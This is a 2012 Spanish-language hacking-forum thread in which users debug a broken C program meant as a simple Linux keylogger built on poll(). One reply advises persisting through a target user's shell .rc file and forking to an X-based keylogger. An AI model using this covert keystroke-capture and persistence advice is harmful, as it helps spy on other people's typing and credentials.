elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Ayuda con un stream de fichero en linux.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con un stream de fichero en linux.  (Leído 3,534 veces)
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Ayuda con un stream de fichero en linux.
« en: 23 Agosto 2012, 23:23 pm »

Hola!

Estaba trasteando por mi sistema, un Ubuntu, cuando me encontre el siguiente encabezado: poll.h. Me dio curiosidad, y decidi buscar documentacion acerca de esta libreria(si, estaba aburrido :xD). Encontre y lei esto: http://pubs.opengroup.org/onlinepubs/7908799/xsh/poll.h.html. Entonces he pensado que podia hacer un keylogger simple, y he armado este codigo:
Código
  1. #include <unistd.h>
  2. #include <sys/poll.h>
  3. #include <stdio.h>
  4.  
  5. int main(int argc, char* argv[])
  6. {
  7.  FILE* log = fopen("log.txt", "a");
  8.  struct pollfd input[1];
  9.  input[0].fd = 1;
  10.  input[0].events = POLLIN;
  11.  int event;
  12.  char chevent;
  13.  while(1)
  14.  {
  15.   event = poll(input, 1, 1);
  16.   if(event>=0){
  17.   chevent = event;
  18.   fprintf(log, "%c", chevent);
  19.   fflush(log);}
  20.  }
  21.  return 0;
  22.  
  23. }
El problema es que escribo cuatro o cinco letras, cierro la terminal y el fichero "log.txt" ocupa entre 10 y 15 KBs, y al abrirlo se me queda pillado el editor de texto.
Cuando simplemente imprimo las letras por pantalla funciona perfectamente.

Saludos.


« Última modificación: 24 Agosto 2012, 00:31 am por daniyo » En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.407


Deprecated


Ver Perfil WWW
Re: Ayuda con un stream de fichero en linux.
« Respuesta #1 en: 26 Agosto 2012, 01:34 am »

La verdad es que no conozco poll(), báh, lo he visto, pero no lo he usado ... revisando la manpage veo que sirve para trabajar con descriptores de ficheros.
Puede llegar a funcionar sobre STDIN, pero tené en cuenta que stdin en entorno gráfico no sirve (sólo con terminales y emuladores de terminales)

http://pubs.opengroup.org/onlinepubs/009695399/functions/poll.html

Si vas a referenciar descriptores de ficheros bajo *nix, incluí unistd.h y usá las macros STDIN_FILENO, STDOUT_FILENO y STDERR_FILENO por motivos de limpieza visual y estilo.

En este caso, lo que hace poll() es algo parecido a lo que hice acá, fijate:

http://foro.elhacker.net/programacion_cc/como_hacer_que_un_bucle_se_ejecute_durante_x_milisegundos_en_linux-t369295.0.html;msg1775072#msg1775072

En principio sí ... podría servir para un keylogger mal hecho, pero sirve.
En entorno gráfico tendrías que usar otro método (creo que hemos visto en otros posts como pedir las teclas bajo X), por lo que ya tenés varios métodos para keylog, en diferentes entornos :D (consola y X), jugá con ellos y fijate qué limitaciones tienen y qué se ajusta más a lo que querés, pero sobretodo, nunca recaigas sobre un sólo método, siempre tené un fallback

Saludos.


En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Ayuda con un stream de fichero en linux.
« Respuesta #2 en: 26 Agosto 2012, 02:24 am »

Ah claro, cierto, stdin no sirve para entorno grafico... No habia caido en eso! La verdad es que le puse 1 como descriptor de fichero porque sabia que en entornos *nix stdin esta definido como 1, pero usare las macros, es cierto que queda mas limpio.

Tambien es cierto que ya hemos visto como pedir las teclas bajo X, yo mismo trate de hacer un keylogger usando la Xlib, pero tenia demasiada poca experiencia y costumbre de leer en ingles xD. Entonces si consigo pedir las teclas usando la Xlib, el problema estaria en como saber si se esta escribiendo en la terminal o en el entorno grafico. Bueno, supongo que siempre se pueden usar threads o hacer un fork. De todas formas tengo el mismo problema, que viene a ser que el fichero ocupa entre 10 y 15 KB (aunque despues de varias pruebas he visto 120 KB) y no es accesible, me cuelga el gedit.

Saludos.

PD: Hace un rato he visto tu blog, no sabia que tenias uno. La proxima vez avisame, siempre es enriquecedor leer escritos tuyos ;)
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.407


Deprecated


Ver Perfil WWW
Re: Ayuda con un stream de fichero en linux.
« Respuesta #3 en: 26 Agosto 2012, 02:43 am »

Citar
Tambien es cierto que ya hemos visto como pedir las teclas bajo X, yo mismo trate de hacer un keylogger usando la Xlib, pero tenia demasiada poca experiencia y costumbre de leer en ingles xD. Entonces si consigo pedir las teclas usando la Xlib, el problema estaria en como saber si se esta escribiendo en la terminal o en el entorno grafico. Bueno, supongo que siempre se pueden usar threads o hacer un fork. De todas formas tengo el mismo problema, que viene a ser que el fichero ocupa entre 10 y 15 KB (aunque despues de varias pruebas he visto 120 KB) y no es accesible, me cuelga el gedit.

Por que poll() no bloquea, está escribiendo a matar en ese bucle ... cambiá el fprintf por un printf, y fijate que sucede
Si no pongo un if revisando el char, me bombardea la salida de la terminal.

Si estás en entorno gráfico, los emuladores de terminales están corriendo bajo X, así que podría decirse que ahí no vas a tener problemas, por que podés usar el método de X (ejemplo? xterm y konsole son emuladores, pero usando el keylogger de X puede leerse lo que se les escribe, por que corren sobre X)
Pensalo así: Te instalás en el .rc del usuario que te interesa, y en base a eso, vas monitoreando si se arranca X ... si no se arranca, hacés un keylogging estándar, y si se arranca, hacés un fork() y te ponés a hacerlo con la manera de X también.

*En principio*

Saludos.

P.S → Mi blog es rrré político y hace poquito lo armé ... pero no lo ando publicitando, es decir, se lo pasé a pocas personas ... fuera de eso, lo referencio cuando necesito abordar un punto (como lo de GNU/Linux). Ahora ando escribiendo una entrada llamada "Un acercamiento al derecho de autor y licenciamientos copyleft", aunque quiero escribir algo de programación !!

En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Ayuda con un stream de fichero en linux.
« Respuesta #4 en: 26 Agosto 2012, 03:05 am »

Si, es cierto que poll() no bloquea, pero le pongo un if para comprobar que el valor de retorno sea mayor o igual a 0, entonces si no escribo en la terminal no deberia escribir en el archivo no?  Voy a cambiar el ">=" por un ">"y probare asi.

En cuanto a lo del blog, por favor escribe sobre programacion :laugh:!! Me encantara leerlo.

Saludos.

Edit: Pues parece ser que no, ahora no coge las teclas. Ahora que le he cambiado el operador de comparacion, crea el archivo pero se queda a cero bytes.
« Última modificación: 26 Agosto 2012, 03:34 am por 0xDani » En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Foxy Rider


Desconectado Desconectado

Mensajes: 2.407


Deprecated


Ver Perfil WWW
Re: Ayuda con un stream de fichero en linux.
« Respuesta #5 en: 26 Agosto 2012, 03:49 am »

Citar
Edit: Pues parece ser que no, ahora no coge las teclas. Ahora que le he cambiado el operador de comparacion, crea el archivo pero se queda a cero bytes.

Antes las leía? a mi nunca me las leyó ... si querés ver un fichero de texto sin sobrecargar la compu con ficheros grandes, usá el comando head (tantas líneas desde el comienzo del fichero) o tail (tantas líneas del final del fichero) ... sino less

Código
  1. less /var/log/Xorg.0.log

Dejalo como estaba antes, y revisá así el fichero de texto ... pero me parece que el código en sí no funciona, la diferencia entre > y >= a 0 es que si chevent vale 0, eso dá verdadero y escribe al fichero ... y no es válido (significa EOF)

Saludos.

P.S → Es la única manera cuando el fichero es monstruoso ... no hay editor que aguante cuando un fichero pesa MBs
« Última modificación: 26 Agosto 2012, 03:52 am por Alex Mtx » En línea

fabianjsm

Desconectado Desconectado

Mensajes: 26


Ver Perfil WWW
Re: Ayuda con un stream de fichero en linux.
« Respuesta #6 en: 26 Agosto 2012, 13:05 pm »

El valor de STDIN_FILENO (definido en <unistd.h>) suele ser cero, no uno ¿Realmente conoces algún sistema
donde esto sea diferente? … Por otra parte stdin difícilmente valdra 0 porque es un puntero (FILE *stdin). STDIN_FILENO y stdin son cosas distintas.

Código
  1. #include <unistd.h>
  2. #include <stdio.h>
  3.  
  4. int main(int argc, char* argv[])
  5. {
  6. printf("STDIN_FILENO: %d\n", STDIN_FILENO);
  7. printf("stdin: %p\n", (unsigned long)stdin);
  8. return 0;
  9. }

Talvez la función no se bloquee porque estas leyendo una salida (sinceramente nunca utilicé esta función). Podrías cambiar esta linea:

Código
  1. input[0].fd = STDIN_FILENO;


En línea

0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Ayuda con un stream de fichero en linux.
« Respuesta #7 en: 26 Agosto 2012, 23:34 pm »

Ya he cambiado 1 por STDIN_FILENO, y sigue sin funcionar :-\
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con Ocultacion de Ficheros Metodo Stream-S.O Win Vista
Dudas Generales
awer17 2 4,559 Último mensaje 12 Agosto 2011, 17:45 pm
por SuperDraco
Cuda Vs Stream?? STREAM!!
Programación General
APOKLIPTICO 2 8,965 Último mensaje 2 Octubre 2010, 16:59 pm
por APOKLIPTICO
Ayuda con plugin social Live stream de facebook
Desarrollo Web
4rkn63l 2 3,873 Último mensaje 20 Agosto 2011, 03:41 am
por 4rkn63l
Informacion sobre fichero Linux
Programación C/C++
Leber 0 1,441 Último mensaje 21 Diciembre 2011, 14:01 pm
por Leber
Reproductor stream o peliculas en servidor local linux
GNU/Linux
dato000 5 4,588 Último mensaje 13 Diciembre 2013, 07:15 am
por dato000
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines